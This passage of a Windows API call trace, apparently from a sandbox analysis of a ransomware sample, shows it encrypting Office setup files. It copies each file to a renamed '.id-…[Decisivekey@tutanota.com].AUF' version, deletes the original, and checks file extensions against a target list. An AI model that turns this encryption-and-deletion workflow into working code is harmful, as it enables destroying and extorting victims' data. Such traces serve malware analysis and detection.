controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.641] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.641] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0210.641] GetLastError () returned 0x0 [0210.641] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x6931, lpOverlapped=0x0) returned 1 [0210.646] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0210.647] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.647] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0210.647] SetEndOfFile (hFile=0x1a0) returned 1 [0210.647] CloseHandle (hObject=0x1a0) returned 1 [0210.648] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.648] SetEndOfFile (hFile=0x174) returned 1 [0210.648] CloseHandle (hObject=0x174) returned 1 [0210.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.649] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.649] lstrlenW (lpString=".doc") returned 4 [0210.649] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString=".docx") returned 5 [0210.649] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0210.649] lstrlenW (lpString=".pdf") returned 4 [0210.649] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString=".xls") returned 4 [0210.649] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString=".xlsx") returned 5 [0210.649] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0210.649] lstrlenW (lpString=".ppt") returned 4 [0210.649] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.649] lstrlenW (lpString=".zip") returned 4 [0210.649] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString=".rar") returned 4 [0210.649] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString=".bz2") returned 4 [0210.649] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.649] lstrlenW (lpString=".7z") returned 3 [0210.649] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.649] lstrlenW (lpString=".dbf") returned 4 [0210.649] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.649] lstrlenW (lpString=".1cd") returned 4 [0210.649] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.649] lstrlenW (lpString=".jpg") returned 4 [0210.649] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.650] lstrlenW (lpString=".doc") returned 4 [0210.650] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString=".docx") returned 5 [0210.650] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0210.650] lstrlenW (lpString=".pdf") returned 4 [0210.650] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString=".xls") returned 4 [0210.650] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString=".xlsx") returned 5 [0210.650] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0210.650] lstrlenW (lpString=".ppt") returned 4 [0210.650] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.650] lstrlenW (lpString=".zip") returned 4 [0210.650] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString=".rar") returned 4 [0210.650] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString=".bz2") returned 4 [0210.650] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.650] lstrlenW (lpString=".7z") returned 3 [0210.650] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.650] lstrlenW (lpString=".dbf") returned 4 [0210.650] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.650] lstrlenW (lpString=".1cd") returned 4 [0210.650] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0210.650] lstrlenW (lpString=".jpg") returned 4 [0210.650] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.650] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0210.650] lstrlenW (lpString="PSS10R.CHM") returned 10 [0210.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.651] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=27195) returned 1 [0210.651] CloseHandle (hObject=0x174) returned 1 [0210.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0210.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.651] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.651] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0210.651] GetLastError () returned 0x0 [0210.652] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0210.657] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0210.658] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.658] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0210.658] SetEndOfFile (hFile=0x1a0) returned 1 [0210.658] CloseHandle (hObject=0x1a0) returned 1 [0210.659] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.659] SetEndOfFile (hFile=0x174) returned 1 [0210.659] CloseHandle (hObject=0x174) returned 1 [0210.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0210.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.660] lstrlenW (lpString=".doc") returned 4 [0210.660] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString=".docx") returned 5 [0210.660] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0210.660] lstrlenW (lpString=".pdf") returned 4 [0210.660] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString=".xls") returned 4 [0210.660] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString=".xlsx") returned 5 [0210.660] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0210.660] lstrlenW (lpString=".ppt") returned 4 [0210.660] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.660] lstrlenW (lpString=".zip") returned 4 [0210.660] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString=".rar") returned 4 [0210.660] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString=".bz2") returned 4 [0210.660] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.660] lstrlenW (lpString=".7z") returned 3 [0210.660] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.660] lstrlenW (lpString=".dbf") returned 4 [0210.660] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.660] lstrlenW (lpString=".1cd") returned 4 [0210.660] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString=".jpg") returned 4 [0210.661] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString=".doc") returned 4 [0210.661] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString=".docx") returned 5 [0210.661] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0210.661] lstrlenW (lpString=".pdf") returned 4 [0210.661] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString=".xls") returned 4 [0210.661] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString=".xlsx") returned 5 [0210.661] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0210.661] lstrlenW (lpString=".ppt") returned 4 [0210.661] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString=".zip") returned 4 [0210.661] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString=".rar") returned 4 [0210.661] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString=".bz2") returned 4 [0210.661] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.661] lstrlenW (lpString=".7z") returned 3 [0210.661] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString=".dbf") returned 4 [0210.661] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString=".1cd") returned 4 [0210.661] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0210.661] lstrlenW (lpString=".jpg") returned 4 [0210.661] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.661] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0210.661] lstrlenW (lpString="SETUP.CHM") returned 9 [0210.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.662] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=67190) returned 1 [0210.662] CloseHandle (hObject=0x174) returned 1 [0210.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0210.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.662] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.662] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0210.663] GetLastError () returned 0x0 [0210.663] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x10676, lpOverlapped=0x0) returned 1 [0210.723] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0210.725] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.725] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.725] SetEndOfFile (hFile=0x1a0) returned 1 [0210.725] CloseHandle (hObject=0x1a0) returned 1 [0210.726] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.726] SetEndOfFile (hFile=0x174) returned 1 [0210.727] CloseHandle (hObject=0x174) returned 1 [0210.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.727] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".doc") returned 4 [0210.728] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".docx") returned 5 [0210.728] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0210.728] lstrlenW (lpString=".pdf") returned 4 [0210.728] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".xls") returned 4 [0210.728] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".xlsx") returned 5 [0210.728] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0210.728] lstrlenW (lpString=".ppt") returned 4 [0210.728] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".zip") returned 4 [0210.728] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".rar") returned 4 [0210.728] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".bz2") returned 4 [0210.728] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.728] lstrlenW (lpString=".7z") returned 3 [0210.728] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".dbf") returned 4 [0210.728] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".1cd") returned 4 [0210.728] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".jpg") returned 4 [0210.728] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".doc") returned 4 [0210.728] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".docx") returned 5 [0210.728] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0210.728] lstrlenW (lpString=".pdf") returned 4 [0210.728] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".xls") returned 4 [0210.728] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".xlsx") returned 5 [0210.728] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0210.728] lstrlenW (lpString=".ppt") returned 4 [0210.728] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.728] lstrlenW (lpString=".zip") returned 4 [0210.728] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0210.728] lstrlenW (lpString=".rar") returned 4 [0210.729] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0210.729] lstrlenW (lpString=".bz2") returned 4 [0210.729] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0210.729] lstrlenW (lpString=".7z") returned 3 [0210.729] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0210.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.729] lstrlenW (lpString=".dbf") returned 4 [0210.729] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0210.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.729] lstrlenW (lpString=".1cd") returned 4 [0210.729] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0210.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0210.729] lstrlenW (lpString=".jpg") returned 4 [0210.729] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0210.729] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.729] 